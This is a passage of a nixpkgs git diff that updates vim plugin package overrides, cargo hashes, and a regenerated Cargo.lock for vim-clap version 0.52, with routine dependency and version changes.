builtGrammars allGrammars grammarToPlugin withPlugins withAllGrammars; grammarPlugins = lib.mapAttrs (_: grammarToPlugin) generatedDerivations; diff --git a/pkgs/applications/editors/vim/plugins/overrides.nix b/pkgs/applications/editors/vim/plugins/overrides.nix index 21267a14230f2..f278070e45507 100644 --- a/pkgs/applications/editors/vim/plugins/overrides.nix +++ b/pkgs/applications/editors/vim/plugins/overrides.nix @@ -549,6 +549,12 @@ ''; }); + elixir-tools-nvim = super.elixir-tools-nvim.overrideAttrs { + fixupPhase = '' + patchShebangs $(find $out/bin/ -type f -not -name credo-language-server) + ''; + }; + executor-nvim = super.executor-nvim.overrideAttrs { dependencies = with self; [ nui-nvim ]; }; @@ -949,6 +955,10 @@ dependencies = with self; [ nui-nvim ]; }; + none-ls-nvim = super.none-ls-nvim.overrideAttrs { + dependencies = [ self.plenary-nvim ]; + }; + null-ls-nvim = super.null-ls-nvim.overrideAttrs { dependencies = with self; [ plenary-nvim ]; }; @@ -988,7 +998,7 @@ inherit (old) version src; sourceRoot = "source/spectre_oxi"; - cargoHash = "sha256-y2ZIgOApIShkIesXmItPKDO6XjFrG4GS5HCPncJUmN8="; + cargoHash = "sha256-gCGuD5kipgfR0Le8npNmyBxNsUq0PavXvKkxkiPx13E="; preCheck = '' @@ -1124,7 +1134,7 @@ pname = "sg-nvim-rust"; inherit (old) version src; - cargoHash = "sha256-BDNFZ/7nnfvtBA7T6a7MDNJsq/cOI9tgW0kxUoIcbV8="; + cargoHash = "sha256-nlPSsp/HbS1DxhOHh5+7x1re46oiQa9FQMLClc7TQLg="; nativeBuildInputs = [ pkg-config ]; @@ -1661,6 +1671,14 @@ dependencies = with self; [ vim-repeat ]; }; + vim-tabby = super.vim-tabby.overrideAttrs { + postPatch = '' + substituteInPlace autoload/tabby/globals.vim --replace-fail \ + "let g:tabby_node_binary = get(g:, 'tabby_node_binary', 'node')" \ + "let g:tabby_node_binary = get(g:, 'tabby_node_binary', '${nodejs}/bin/node')" + ''; + }; + vim-textobj-entire = super.vim-textobj-entire.overrideAttrs { dependencies = with self; [ vim-textobj-user ]; meta.maintainers = with lib.maintainers; [ farlion ]; @@ -1764,6 +1782,10 @@ dependencies = with self; [ vimwiki fzf-vim ]; }; + windows-nvim = super.windows-nvim.overrideAttrs { + dependencies = with self; [ luaPackages.middleclass animation-nvim ]; + }; + wtf-nvim = super.wtf-nvim.overrideAttrs { dependencies = with self; [ nui-nvim ]; }; diff --git a/pkgs/applications/editors/vim/plugins/vim-clap/Cargo.lock b/pkgs/applications/editors/vim/plugins/vim-clap/Cargo.lock index a11cf3b18d643..0340204a82ccf 100644 --- a/pkgs/applications/editors/vim/plugins/vim-clap/Cargo.lock +++ b/pkgs/applications/editors/vim/plugins/vim-clap/Cargo.lock @@ -42,6 +42,12 @@ dependencies = [ ] [[package]] +name = "anes" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299" + +[[package]] name = "anstream" version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -103,7 +109,7 @@ checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -179,12 +185,12 @@ dependencies = [ [[package]] name = "built" -version = "0.6.1" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b99c4cdc7b2c2364182331055623bdf45254fcb679fea565c40c3c11c101889a" +checksum = "96f9cdd34d6eb553f9ea20e5bf84abb7b13c729f113fc1d8e49dc00ad9fa8738" dependencies = [ "cargo-lock", - "git2", + "git2 0.16.1", ] [[package]] @@ -216,13 +222,13 @@ dependencies = [ [[package]] name = "cargo-lock" -version = "9.0.0" +version = "8.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e11c675378efb449ed3ce8de78d75d0d80542fc98487c26aba28eb3b82feac72" +checksum = "031718ddb8f78aa5def78a09e90defe30151d1f6c672f937af4dd916429ed996" dependencies = [ "semver", "serde", - "toml 0.7.8", + "toml", "url", ] @@ -250,6 +256,12 @@ dependencies = [ ] [[package]] +name = "cast" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" + +[[package]] name = "cc" version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -296,6 +308,33 @@ dependencies = [ ] [[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] name = "clap" version = "4.4.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -326,7 +365,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -337,21 +376,20 @@ checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" [[package]] name = "cli" -version = "0.1.0" +version = "0.1.52" dependencies = [ "anyhow", "clap", + "criterion", "filter", - "futures", "icon", - "itertools", + "itertools 0.10.5", + "maple_config", "maple_core", "matcher", "num_cpus", - "pattern", "printer", "rayon", - "regex", "serde", "serde_json", "subprocess", @@ -374,6 +412,24 @@ dependencies = [ ] [[package]] +name = "code_tools" +version = "0.1.52" +dependencies = [ + "cargo_metadata", + "maple_config", + "maple_lsp", + "once_cell", + "paths", + "regex", + "serde", + "serde_json", + "tokio", + "toml", + "tracing", + "which", +] + +[[package]] name = "colorchoice" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -446,6 +502,42 @@ dependencies = [ ] [[package]] +name = "criterion" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f" +dependencies = [ + "anes", + "cast", + "ciborium", + "clap", + "criterion-plot", + "is-terminal", + "itertools 0.10.5", + "num-traits", + "once_cell", + "oorandom", + "plotters", + "rayon", + "regex", + "serde", + "serde_derive", + "serde_json", + "tinytemplate", + "walkdir", +] + +[[package]] +name = "criterion-plot" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1" +dependencies = [ + "cast", + "itertools 0.10.5", +] + +[[package]] name = "crossbeam-channel" version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -489,6 +581,12 @@ dependencies = [ ] [[package]] +name = "crunchy" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" + +[[package]] name = "darling" version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -509,7 +607,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn", + "syn 2.0.38", ] [[package]] @@ -520,7 +618,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -538,17 +636,26 @@ version = "4.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f51c5d4ddabd36886dd3e1438cb358cdcb0d7c499cb99cb4ac2e38e18b5cb210" dependencies = [ - "dirs-sys", + "dirs-sys 0.3.7", ] [[package]] name = "dirs" -version = "0.1.0" +version = "0.1.52" dependencies = [ "directories", ] [[package]] +name = "dirs" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" +dependencies = [ + "dirs-sys 0.4.1", +] + +[[package]] name = "dirs-sys" version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -560,10 +667,28 @@ dependencies = [ ] [[package]] -name = "dumb_analyzer" +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "doc_gen" version = "0.1.0" dependencies = [ - "serde_json", + "inflections", + "itertools 0.12.1", + "maple_config", + "quote", + "syn 1.0.109", + "toml", + "toml_edit", ] [[package]] @@ -620,25 +745,22 @@ dependencies = [ [[package]] name = "extracted_fzy" -version = "0.1.0" +version = "0.1.52" [[package]] name = "filter" -version = "0.1.0" +version = "0.1.52" dependencies = [ "icon", "matcher", "parking_lot", - "pattern", "printer", "rayon", - "serde", "serde_json", "subprocess", "thiserror", "tracing", "types", - "utils", ] [[package]] @@ -722,7 +844,7 @@ checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -793,9 +915,24 @@ checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" [[package]] name = "git2" -version = "0.17.2" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2994bee4a3a6a51eb90c218523be382fd7ea09b16380b9312e9dbe955ff7c7d1" +dependencies = [ + "bitflags 1.3.2", + "libc", + "libgit2-sys", + "log", + "openssl-probe", + "openssl-sys", + "url", +] + +[[package]] +name = "git2" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b989d6a7ca95a362cf2cfc5ad688b3a467be1f87e480b8dad07fee8c79b0044" +checksum = "ccf7f68c2995f392c49fffb4f95ae2c873297830eb25c6bc4c114ce8f4562acc" dependencies = [ "bitflags 1.3.2", "libc", @@ -874,6 +1011,16 @@ dependencies = [ ] [[package]] +name = "half" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872" +dependencies = [ + "cfg-if", + "crunchy", +] + +[[package]] name = "hashbrown" version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1003,30 +1150,14 @@ dependencies = [ [[package]] name = "icon" -version = "0.1.0" +version = "0.1.52" dependencies = [ - "itertools", + "itertools 0.10.5", "pattern", "serde_json", ] [[package]] -name = "ide" -version = "0.1.0" -dependencies = [ - "async-trait", - "cargo_metadata", - "once_cell", - "parking_lot", - "paths", - "regex", - "serde", - "serde_json", - "tokio", - "tracing", -] - -[[package]] name = "ident_case" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1104,6 +1235,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] +name = "is-terminal" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" +dependencies = [ + "hermit-abi", + "libc", + "windows-sys 0.52.0", +] + +[[package]] name = "itertools" version = "0.10.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1113,6 +1255,15 @@ dependencies = [ ] [[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] name = "itoa" version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1178,14 +1329,30 @@ checksum = "a08173bc88b7955d1b3145aa561539096c421ac8debde8cbc3612ec635fee29b" [[package]] name = "libgit2-sys" -version = "0.15.2+1.6.4" +version = "0.14.2+1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f3d95f6b51075fe9810a7ae22c7095f12b98005ab364d8544797a825ce946a4" +dependencies = [ + "cc", + "libc", + "libssh2-sys", + "libz-sys", + "openssl-sys", + "pkg-config", +] + +[[package]] +name = "libssh2-sys" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a80df2e11fb4a61f4ba2ab42dbe7f74468da143f1a75c74e11dee7c813f694fa" +checksum = "b094a36eb4b8b8c8a7b4b8ae43b2944502be3e59cd87687595cf6b0a71b3f4ca" dependencies = [ "cc", "libc", "libz-sys", + "openssl-sys", "pkg-config", + "vcpkg", ] [[package]] @@ -1261,7 +1428,7 @@ dependencies = [ [[package]] name = "maple" -version = "0.1.50" +version = "0.1.51" dependencies = [ "built", "chrono", @@ -1272,27 +1439,40 @@ dependencies = [ ] [[package]] +name = "maple_config" +version = "0.1.52" +dependencies = [ + "dirs 0.1.52", + "once_cell", + "paths", + "serde", + "serde_json", + "toml", + "types", +] + +[[package]] name = "maple_core" -version = "0.1.0" +version = "0.1.52" dependencies = [ "async-trait", "base64 0.13.1", - "bytecount", "chrono", "chrono-humanize", "clap", + "code_tools", "colors-transform", "copypasta", - "dirs", - "dumb_analyzer", + "dirs 0.1.52", "filter", "futures", + "git2 0.15.0", "grep-matcher", "grep-searcher", "icon", - "ide", "ignore", - "itertools", + "itertools 0.10.5", + "maple_config", "maple_derive", "maple_lsp", "matcher", @@ -1313,7 +1493,7 @@ dependencies = [ "subprocess", "thiserror", "tokio", - "toml 0.5.11", + "toml", "tracing", "tree_sitter", "types", @@ -1323,20 +1503,21 @@ dependencies = [ [[package]] name = "maple_derive" -version = "0.1.0" +version = "0.1.52" dependencies = [ + "async-trait", "darling", "inflections", "once_cell", "proc-macro2", "quote", - "syn", + "syn 2.0.38", "types", ] [[package]] name = "maple_lsp" -version = "0.1.0" +version = "0.1.52" dependencies = [ "futures-util", "lsp-types", @@ -1347,15 +1528,16 @@ dependencies = [ "serde_json", "thiserror", "tokio", + "toml", "tracing", "which", ] [[package]] name = "matcher" -version = "0.1.0" +version = "0.1.52" dependencies = [ - "dumb_analyzer", + "code_tools", "extracted_fzy", "fuzzy-matcher", "grep-matcher", @@ -1486,6 +1668,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" [[package]] +name = "numtoa" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8f8bdf33df195859076e54ab11ee78a1b208382d3a26ec40d142ffc1ecc49ef" + +[[package]] name = "objc" version = "0.2.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1552,6 +1740,36 @@ dependencies = [ ] [[package]] +name = "oorandom" +version = "11.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575" + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-sys" +version = "0.9.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae94056a791d0e1217d18b6cbdccb02c61e3054fc69893607f4067e3bb0b1fd1" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] name = "overload" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1582,17 +1800,18 @@ dependencies = [ [[package]] name = "paths" -version = "0.1.0" +version = "0.1.52" dependencies = [ - "dirs", + "dirs 0.1.52", "dunce", - "itertools", + "itertools 0.10.5", "serde", + "shellexpand", ] [[package]] name = "pattern" -version = "0.1.0" +version = "0.1.52" dependencies = [ "once_cell", "regex", @@ -1637,19 +1856,56 @@ dependencies = [ ] [[package]] +name = "plotters" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2c224ba00d7cadd4d5c660deaf2098e5e80e07846537c51f9cfa4be50c1fd45" +dependencies = [ + "num-traits", + "plotters-backend", + "plotters-svg", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "plotters-backend" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e76628b4d3a7581389a35d5b6e2139607ad7c75b17aed325f210aa91f4a9609" + +[[package]] +name = "plotters-svg" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38f6d39893cca0701371e3c27294f09797214b86f1fb951b89ade8ec04e2abab" +dependencies = [ + "plotters-backend", +] + +[[package]] name = "powerfmt" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" [[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] name = "printer" -version = "0.1.0" +version = "0.1.52" dependencies = [ + "filter", "icon", "pattern", + "rayon", "serde", "serde_json", + "termion", "types", "unicode-width", "utils", @@ -1683,6 +1939,36 @@ dependencies = [ ] [[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] name = "raw-window-handle" version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1727,6 +2013,12 @@ dependencies = [ ] [[package]] +name = "redox_termios" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20145670ba436b55d91fc92d25e71160fbfbdd57831631c8d7d36377a476f1cb" + +[[package]] name = "redox_users" version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1849,7 +2141,7 @@ dependencies = [ [[package]] name = "rpc" -version = "0.1.0" +version = "0.1.52" dependencies = [ "serde", "serde_json", @@ -1971,7 +2263,7 @@ checksum = "67c5609f394e5c2bd7fc51efda478004ea80ef42fee983d5c67a65e34f32c0e3" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -1993,16 +2285,7 @@ checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" dependencies = [ "proc-macro2", "quote", - "syn", -] - -[[package]] -name = "serde_spanned" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" -dependencies = [ - "serde", + "syn 2.0.38", ] [[package]] @@ -2027,6 +2310,15 @@ dependencies = [ ] [[package]] +name = "shellexpand" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da03fa3b94cc19e3ebfc88c4229c49d8f08cdbd1228870a45f0ffdf84988e14b" +dependencies = [ + "dirs 5.0.1", +] + +[[package]] name = "signal-hook-registry" version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2090,14 +2382,12 @@ checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" [[package]] name = "sublime_syntax" -version = "0.1.0" +version = "0.1.52" dependencies = [ "colors-transform", - "once_cell", "rgb2ansi256", "serde", "syntect", - "tracing", "utils", ] @@ -2112,6 +2402,17 @@ dependencies = [ [[package]] name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" version = "2.0.38" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" @@ -2164,6 +2465,18 @@ dependencies = [ ] [[package]] +name = "termion" +version = "1.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "077185e2eac69c3f8379a4298e1e07cd36beb962290d4a51199acf0fdc10607e" +dependencies = [ + "libc", + "numtoa", + "redox_syscall 0.2.16", + "redox_termios", +] + +[[package]] name = "thiserror" version = "1.0.50" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2180,7 +2493,7 @@ checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -2223,6 +2536,16 @@ dependencies = [ ] [[package]] +name = "tinytemplate" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] name = "tinyvec" version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2239,9 +2562,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.33.0" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f38200e3ef7995e5ef13baec2f432a6da0aa9ac495b2c0e8f3b7eec2c92d653" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -2257,13 +2580,13 @@ dependencies = [ [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -2300,35 +2623,18 @@ dependencies = [ ] [[package]] -name = "toml" -version = "0.7.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" -dependencies = [ - "serde", - "serde_spanned", - "toml_datetime", - "toml_edit", -] - -[[package]] name = "toml_datetime" version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" -dependencies = [ - "serde", -] [[package]] name = "toml_edit" -version = "0.19.15" +version = "0.21.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" dependencies = [ "indexmap 2.1.0", - "serde", - "serde_spanned", "toml_datetime", "winnow", ] @@ -2369,7 +2675,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", ] [[package]] @@ -2452,6 +2758,15 @@ dependencies = [ ] [[package]] +name = "tree-sitter-dockerfile" +version = "0.1.0" +source = "git+https://github.com/liuchengxu/tree-sitter-dockerfile?rev=be454233564871db713aab035e9cdc4c3ec572dc#be454233564871db713aab035e9cdc4c3ec572dc" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] name = "tree-sitter-go" version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2523,6 +2838,18 @@ dependencies = [ ] [[package]] +name = "tree-sitter-tags" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccb3f1376219530a37a809751ecf65aa35fd8b9c1c4ab6d4faf5f6a9eeda2c05" +dependencies = [ + "memchr", + "regex", + "thiserror", + "tree-sitter", +] + +[[package]] name = "tree-sitter-toml" version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2543,16 +2870,20 @@ dependencies = [ [[package]] name = "tree_sitter" -version = "0.1.0" +version = "0.1.52" dependencies = [ "cc", + "criterion", "once_cell", + "rand", "serde", - "toml 0.5.11", + "toml", + "tracing", "tree-sitter", "tree-sitter-bash", "tree-sitter-c", "tree-sitter-cpp", + "tree-sitter-dockerfile", "tree-sitter-go", "tree-sitter-highlight", "tree-sitter-javascript", @@ -2560,6 +2891,7 @@ dependencies = [ "tree-sitter-md", "tree-sitter-python", "tree-sitter-rust", + "tree-sitter-tags", "tree-sitter-toml", "tree-sitter-vim", ] @@ -2572,7 +2904,7 @@ checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" [[package]] name = "types" -version = "0.1.0" +version = "0.1.52" dependencies = [ "icon", "pattern", @@ -2613,12 +2945,11 @@ checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] name = "upgrade" -version = "0.1.0" +version = "0.1.52" dependencies = [ "indicatif", "reqwest", "serde", - "serde_json", "tokio", ] @@ -2642,12 +2973,11 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "utils" -version = "0.1.0" +version = "0.1.52" dependencies = [ "bytecount", "memchr", "simdutf8", - "types", ] [[package]] @@ -2708,7 +3038,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn", + "syn 2.0.38", "wasm-bindgen-shared", ] @@ -2742,7 +3072,7 @@ checksum = "c5353b8dab669f5e10f5bd76df26a9360c748f054f862ff5f3f8aae0c7fb3907" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.38", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -3066,6 +3396,12 @@ dependencies = [ ] [[package]] +name = "write-json" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f6174b2566cc4a74f95e1367ec343e7fa80c93cc8087f5c4a3d6a1088b2118" + +[[package]] name = "x11-clipboard" version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3097,6 +3433,34 @@ dependencies = [ ] [[package]] +name = "xshell" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce2107fe03e558353b4c71ad7626d58ed82efaf56c54134228608893c77023ad" +dependencies = [ + "xshell-macros", +] + +[[package]] +name = "xshell-macros" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e2c411759b501fb9501aac2b1b2d287a6e93e5bdcf13c25306b23e1b716dd0e" + +[[package]] +name = "xtask" +version = "0.1.52" +dependencies = [ + "anyhow", + "chrono", + "clap", + "serde", + "serde_json", + "write-json", + "xshell", +] + +[[package]] name = "yaml-rust" version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" diff --git a/pkgs/applications/editors/vim/plugins/vim-clap/default.nix b/pkgs/applications/editors/vim/plugins/vim-clap/default.nix index b43ab5501c76a..b6b0267216f5b 100644 --- a/pkgs/applications/editors/vim/plugins/vim-clap/default.nix +++ b/pkgs/applications/editors/vim/plugins/vim-clap/default.nix @@ -11,13 +11,13 @@ }: let - version = "0.50"; + version = "0.52"; src = fetchFromGitHub { owner = "liuchengxu"; repo = "vim-clap"; rev = "v${version}"; - hash = "sha256-EYAylATdtwDzM92tN4OlzbQ1XqErRwT9mCNpzj63oxk="; + hash = "sha256-byG4DHa0rTzvlLW+d3eF8xCX8uft4b7HYJDqbVmTdNI="; }; meta = with lib; { @@ -36,6 +36,7 @@ let lockFile = ./Cargo.lock; outputHashes = { "subprocess-0.2.10" = "sha256-WcGrJ103ofGlQwi32kRGM3Z+uvKSCFBmFZbZXAtuWwM="; + "tree-sitter-dockerfile-0.1.0" = "sha256-K+duK3HcxlVgbLXBos3MUxyfnTywcHX6JM4Do0qAJO0="; "tree-sitter-vim-0.3.1-dev.0" = "sha256-CWxZ28LdptiMNO2VIk+Ny/DhQXdN604EuqRIb9oaCmI="; }; }; diff --git a/pkgs/applications/editors/vim/plugins/vim-plugin-names b/pkgs/applications/editors/vim/plugins/vim-plugin-names index 11107d93668dd..e705596b5b453 100644 --- a/pkgs/applications/editors/vim/plugins/vim-plugin-names +++ b/pkgs/applications/editors/vim/plugins/vim-plugin-names @@ -50,11 +50,13 @@ https://github.com/slashmili/alchemist.vim/,, https://github.com/dense-analysis/ale/,, https://github.com/vim-scripts/align/,, https://github.com/goolord/alpha-nvim/,HEAD, +https://github.com/anuvyklack/animation.nvim/,HEAD, 